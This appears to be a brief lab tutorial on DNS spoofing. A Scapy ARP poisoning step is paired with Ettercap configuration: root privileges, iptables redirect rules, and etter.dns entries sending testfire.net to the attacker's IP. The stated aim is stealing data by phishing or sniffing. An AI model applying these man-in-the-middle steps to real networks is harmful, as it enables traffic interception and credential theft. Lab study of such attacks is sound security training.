DNS Spoofing

Setup

Gateway => 172.16.84.2

KALI        => 172.16.84.140 [Victim]

PARROT  => 172.16.84.143 [Attacker]

Attacks

1. ARP Spoofing  [Using Scapy]
2. DNS Spoofing  [Using Ettercap DNS_Spoof Plugin]

Attack Flow

1. Attacker perform ARP spoofing [to redirect all the traffic from victim system to attacker machine]
2. Attacker perform DNS Spoofing [to steal the data by phishing/sniffing]

Scapy ARP Spoof Packets

spkali   => Poison the kali cache table

spgate => Posion the gateway

Refer ARP Spoofing by Scapy

https://just2secure.blogspot.ae/2017/02/arp-poison.html

Ettercap DNS Spoof Configuration

root:~$nano /etc/ettercap/etter.conf

Change 1 (Change the value to Zero)

ec_uid = 0                # nobody is the default

ec_gid = 0                # nobody is the default

Change 2 (uncomment the 2 lines)

redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

root:~$nano /etc/ettercap/etter.dns

Add the below

*.testfire.net    A   172.16.84.143

testfire.net       A   172.16.84.143

Video